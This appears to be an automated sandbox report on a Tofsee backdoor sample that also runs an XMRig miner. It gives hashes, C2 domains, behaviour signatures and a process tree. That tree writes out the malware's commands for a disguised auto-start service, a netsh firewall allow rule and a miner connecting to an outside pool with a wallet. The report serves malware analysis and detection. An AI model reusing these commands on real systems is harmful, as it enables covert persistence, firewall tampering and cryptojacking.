Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-04-2023 12:32

General

  • Target

    file.exe

  • Size

    213KB

  • MD5

    dac1f98021e82370657ca79d43940e9e

  • SHA1

    1d69c84299549560c1a46d085256a27d6a074621

  • SHA256

    209e78147c676b2562945d15e0637303f819bc8a2f0e34f5cfa8ba16137e85a5

  • SHA512

    56f829653430fffee2e9799902fd38bb726c28bdda5accd43e5c3b333ef2c909d7b9c865e8ba3041609bfc415b9283a9cf4d3888dd81b1091fae7b7cc53b5432

  • SSDEEP

    3072:HnCD27R5eVPDZg4lrEh+DsuNk0+LpzCJMZZmEo8ksJ5tMxqyI7iMPre:HRjeVPu4lrEh+Dsik0+RTDw9u/7iMT

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4724
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\dpacuyca\
      2⤵
        PID:1164
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ryxkssae.exe" C:\Windows\SysWOW64\dpacuyca\
        2⤵
          PID:1316
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create dpacuyca binPath= "C:\Windows\SysWOW64\dpacuyca\ryxkssae.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:4584
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description dpacuyca "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:4892
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start dpacuyca
          2⤵
          • Launches sc.exe
          PID:3816
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:4648
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4724 -s 1156
          2⤵
          • Program crash
          PID:4056
      • C:\Windows\SysWOW64\dpacuyca\ryxkssae.exe
        C:\Windows\SysWOW64\dpacuyca\ryxkssae.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:4356
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4228
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:4780
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4356 -s 528
          2⤵
          • Program crash
          PID:4152
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 4724 -ip 4724
        1⤵
          PID:4644
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4356 -ip 4356
          1⤵
            PID:2908

          Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ryxkssae.exe

            Filesize

            11.1MB

            MD5

            fc4437f49012229ff4ebb4a8f951ebde

            SHA1

            a1c062fe9c9743345617c563a947bce7e00d3ca0

            SHA256

            6319063109b5630c4654f80ffb403763c06f8cfd5e3090487a1e6a4eabfd2b51

            SHA512

            51d484e7e84c957c0cdcfe65c1162bb5ec5aa4b6cc965a3811e42250f3120d835773850f61fb935ceef89aa55758a01cfec74ccec1a483c3af2b9330313286c7

          • C:\Windows\SysWOW64\dpacuyca\ryxkssae.exe

            Filesize

            11.1MB

            MD5

            fc4437f49012229ff4ebb4a8f951ebde

            SHA1

            a1c062fe9c9743345617c563a947bce7e00d3ca0

            SHA256

            6319063109b5630c4654f80ffb403763c06f8cfd5e3090487a1e6a4eabfd2b51

            SHA512

            51d484e7e84c957c0cdcfe65c1162bb5ec5aa4b6cc965a3811e42250f3120d835773850f61fb935ceef89aa55758a01cfec74ccec1a483c3af2b9330313286c7

          • memory/4228-165-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-148-0x0000000000110000-0x0000000000125000-memory.dmp

            Filesize

            84KB

          • memory/4228-169-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-143-0x0000000000110000-0x0000000000125000-memory.dmp

            Filesize

            84KB

          • memory/4228-184-0x00000000023D0000-0x00000000023D7000-memory.dmp

            Filesize

            28KB

          • memory/4228-145-0x0000000000110000-0x0000000000125000-memory.dmp

            Filesize

            84KB

          • memory/4228-146-0x0000000000110000-0x0000000000125000-memory.dmp

            Filesize

            84KB

          • memory/4228-167-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-149-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/4228-152-0x0000000002000000-0x000000000220F000-memory.dmp

            Filesize

            2.1MB

          • memory/4228-153-0x0000000000960000-0x0000000000966000-memory.dmp

            Filesize

            24KB

          • memory/4228-156-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-183-0x0000000006F00000-0x000000000730B000-memory.dmp

            Filesize

            4.0MB

          • memory/4228-160-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-161-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-163-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-162-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-164-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-166-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-168-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-159-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-139-0x0000000000110000-0x0000000000125000-memory.dmp

            Filesize

            84KB

          • memory/4228-180-0x0000000006F00000-0x000000000730B000-memory.dmp

            Filesize

            4.0MB

          • memory/4228-170-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-171-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-172-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-173-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-174-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-175-0x0000000000970000-0x0000000000980000-memory.dmp

            Filesize

            64KB

          • memory/4228-176-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/4228-179-0x00000000017F0000-0x00000000017F5000-memory.dmp

            Filesize

            20KB

          • memory/4356-144-0x0000000000400000-0x00000000004A2000-memory.dmp

            Filesize

            648KB

          • memory/4724-140-0x0000000000400000-0x00000000004A2000-memory.dmp

            Filesize

            648KB

          • memory/4724-135-0x00000000021F0000-0x0000000002203000-memory.dmp

            Filesize

            76KB

          • memory/4780-188-0x0000000000750000-0x0000000000841000-memory.dmp

            Filesize

            964KB

          • memory/4780-193-0x0000000000750000-0x0000000000841000-memory.dmp

            Filesize

            964KB

          • memory/4780-194-0x0000000000750000-0x0000000000841000-memory.dmp

            Filesize

            964KB

          • memory/4780-195-0x0000000000750000-0x0000000000841000-memory.dmp

            Filesize

            964KB

          • memory/4780-196-0x0000000000750000-0x0000000000841000-memory.dmp

            Filesize

            964KB

          • memory/4780-198-0x0000000000750000-0x0000000000841000-memory.dmp

            Filesize

            964KB

          • memory/4780-197-0x0000000000750000-0x0000000000841000-memory.dmp

            Filesize

            964KB

          • memory/4780-199-0x0000000000750000-0x0000000000841000-memory.dmp

            Filesize

            964KB